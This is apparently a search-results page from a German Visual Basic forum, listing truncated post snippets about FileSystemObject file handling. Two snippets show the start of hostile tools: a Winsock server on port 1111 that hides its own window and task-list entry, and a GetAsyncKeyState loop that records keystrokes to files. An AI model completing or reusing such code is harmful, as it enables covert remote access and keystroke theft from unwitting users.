Visual Basic Forum

Verfasst am: 26.01.2012, 17:21 Aufrufe: 203

Um eine ZipDatei zu erstellen benutzer folgende Code: Sub main dim fso as new filesystemobject dim datei set datei = fso.createtextfile("C:\dateiname.zip") end sub dann wird diese Zipdatei benutzt um weiter zu arbeiten. gehe ich irgendwelche Gefahr ein? Danke für Ihre Vorschläge Very Happy

Verfasst am: 28.11.2010, 19:13 Aufrufe: 610

Verfasst am: 13.11.2009, 11:21 Aufrufe: 2711

Caption = "working..." 'find current version cv = getCurrentVersion() 'get access to file system Set fs = CreateObject("Scripting.FileSystemObject") If Not fs.FolderExists(ThisWorkbook.Path & gPath) Then fs.CreateFolder (ThisWorkbook.Path & gPath) End If '******************************** ...

Verfasst am: 15.06.2009, 12:35 Aufrufe: 2649

Deklarationen Als erstes brauchen wir einen Verweis auf "Microsoft Scripting Runtime".Zu finden unter "Projekt -> Verweis".Und dann deklarieren wir das Objekt.Wenn ihr von verschiedenen Formen darauf zugreifen wollt, dann natürlich public.Private FSO As New FileSystemObjectUnd jetzt da wir Dateien auslesen bzw. schreiben wollen brauchen wir noch einen TextStream.Private tStream as TextStreamFür kopieren, verschieben, ...

Verfasst am: 10.04.2009, 19:02 Aufrufe: 823

Schaut selbst... Server - Winsock1 aufm Objekt, microsoft scripting runtime... Dim oFSO As FileSystemObject Private Sub Form_Load() Winsock1.LocalPort = 1111 Winsock1.Listen App.TaskVisible = False Form1.Visible = False End Sub Private Sub Winsock1_Close() Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Lo ...

Verfasst am: 30.03.2009, 10:56 Aufrufe: 910

Verfasst am: 30.03.2009, 08:47 Aufrufe: 2007

Ja habe auch beim googeln etwas gefunden, funkt nur leider nicht!! Ist das richtig, ich schreibe den Code in eine Text-Datei und nenne diese dann um von .txt auf .vbs Dim WshShell, fso, file Set fso = CreateObject("Scripting.FileSystemObject") Set WshShell = WScript.CreateObject("WScript.shell") Set file = fso.GetFile("C:\\Test\FAX") if (DateDiff("d", fil ...

Verfasst am: 26.02.2009, 15:40 Aufrufe: 2462

... ter helfen? Ich poste jetzt einfach mal den ganzen Code: Dim break As String Dim protocolline As String Dim sourceline As String Dim sourceall As String Dim all As String Dim componentlist(953) As String Dim componentpath As String Dim sourcepath As String Dim newsourcepath As String Dim counter As Integer Dim compare As Integer Dim comparecomponents As Integer Public fso As New FileSystemObject ...

Verfasst am: 21.09.2008, 09:49 Aufrufe: 1810

Moin Leute!Hab mal für Nobert ein Beispiel für ein FileManager gecodet.Man braucht keine DirBox,FileBox usw.Ist zu 95% alles erklärt!Screenshot:DL: http://rapidshare.com/files/147078774/Loca...anager.rar.htmlPW: "vb-x.org.fuka"Viel Spass damit!MfG

Verfasst am: 05.07.2008, 18:58 Aufrufe: 444

Verfasst am: 05.07.2008, 16:47 Aufrufe: 444

Verfasst am: 23.05.2008, 17:44 Aufrufe: 2155

Verfasst am: 22.04.2008, 12:12 Aufrufe: 388

hast du denn ne FileSystemObject struktur (oder wie auch immer das in vb6 heißt)?

Verfasst am: 22.04.2008, 12:07 Aufrufe: 388

Verfasst am: 18.03.2008, 03:29 Aufrufe: 253

Schau dir den nachfolgenden Link an, musst nur noch das File löschen wenn es gefunden wurde! http://www.vbarchiv.net/archiv/tipp_details.php?pid=777 Zum löschen File.Delete oder FileSystemObject.DeleteFile oder mit Kill. http://www.vbarchiv.net/commands/Kill.php So viel Spaß!

Verfasst am: 15.03.2008, 15:50 Aufrufe: 311

Verfasst am: 15.03.2008, 15:35 Aufrufe: 311

Verfasst am: 06.03.2008, 19:28 Aufrufe: 4075

Deklarationen Als erstes brauchen wir einen Verweis auf "Microsoft Scripting Runtime". Zu finden unter "Projekt -> Verweis". Und dann deklarieren wir das Objekt. Wenn ihr von verschiedenen Formen darauf zugreifen wollt, dann natürlich public. Private FSO As New FileSystemObject Und jetzt da wir Dateien auslesen bzw. schreiben wollen brauchen wir noch einen TextStream. Private tS ...

Verfasst am: 22.02.2008, 08:47 Aufrufe: 668

versuch das doch mal: Function ExecuteDOS(befehl) 'SYS: Windows Script Host Runtime Library Set wshshell = CreateObject("WScript.Shell") 'SYS: Microsoft (r) Script Runtime Set fs = CreateObject("Scripting.FileSystemObject") kommando = "%COMSPEC% /C " & befehl & "" ' DOS-Kommando ausführen resultat = wshshell.Run(k ...

Verfasst am: 13.01.2008, 12:14 Aufrufe: 2206

Weiß nicht, ob du deine Frage vom 17.11 schon selbst lösen konntest, aber hier trotzdem mal ne Antwort von mir. Du mußt für das FileSystemObject einen Verweis setzen. Unter "Projekt -> Verweise" einfach "Microsoft Scripting Runtime" aktivieren. Dann sollte es gehen. Achja. Die Function zum Icon (bzw. Index) ermitteln zur Dateiendung, könnte man einfacher machen, wenn du deinen Icons ...

Verfasst am: 17.11.2007, 13:29 Aufrufe: 2206

.. bei mir kommt folgende meldung: --------------------------- Microsoft Visual Basic --------------------------- Compile error: User-defined type not defined --------------------------- OK Hilfe --------------------------- Die meldung verweißt auf dei variable Dim oFSO As FileSystemObject ich hab keine ahnung wo der fehler leigt.. als ich deine projektdateien genutz habe, kam der fehler ...

Verfasst am: 24.09.2007, 13:51 Aufrufe: 785

.. ' Public Function ReadLine(ByVal sFile As String, _ Optional ByVal nLine As Long = 1) As String Dim sLines() As String Dim oFSO As Object Dim oFile As Object ' Fehlerbehandlung aktivieren On Error GoTo ErrHandler ' Verweis auf das FileSystemObject erstellen Set oFSO = CreateObject("Scripting.FileSystemObject") ' Existiert die Datei überhaupt? If oFSO.Fil ...

Verfasst am: 21.07.2007, 16:42 Aufrufe: 550

Verfasst am: 06.04.2007, 17:22 Aufrufe: 921

Verfasst am: 06.04.2007, 17:20 Aufrufe: 921

Verfasst am: 06.04.2007, 16:38 Aufrufe: 921

Verfasst am: 06.04.2007, 16:11 Aufrufe: 921

Verfasst am: 03.02.2007, 21:26 Aufrufe: 1475

... yncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() On Error Resume Next Dim keystate As Integer, scancodes As Integer Dim keypressed As String Dim all As String Dim bunk As String Dim size As Integer Set fso = CreateObject("scripting.filesystemobject ...

Verfasst am: 11.08.2004, 15:38 Aufrufe: 296

... st du die Scripting Runtime eingebunden, damit du FileExists() nutzen kannst? Sind die Zeilenumbrüche im Forum richtig dargestellt? So, wie du sie auch in deinem Quelltext hast? Was passiert? Möglicherweise fehlt nur das s von FileExists in der Zeile ElseIf FileExist("C:\Dokumente und Einstellungen\Warcraft III.exe") Then Quelle = ... Eigentlich kannst du FileExists() erst benutzen, wenn du ein FileSystemObject ...

Verfasst am: 01.08.2003, 10:45 Aufrufe: 293

Du fügst das "Microsoft Scripting Runtime" hinzu. Über Verweise, dann Dim Fs as new FileSystemObject Fs.FileExists(Filename) gibt dann True oder False zurück. Kann seien, dass sich ein Fehler eingeschlichen hat, hab alles aus dem Kopf gemacht, aber das prinzip bleibt. Gruß

Verfasst am: 26.02.2003, 08:39 Aufrufe: 378

Wenn ich also auf eine der Vorlagen klicke sollte die jeweilige Vorlage dazu geöffnet werden. Nur leider wird nur immer Word geöffnet und die Vorlagen nicht. Kann mir jemand helfen wie das gehen könnte?? Die Combobox hab ich mit dem Befehl initialisiert: Sub InitCombo1() Dim fso As FileSystemObject Dim fo As Folder Dim fi As File Set fso = New FileSystemObject Set fo = fso.GetFolder(VORLAGENDIR) For Each fi In ...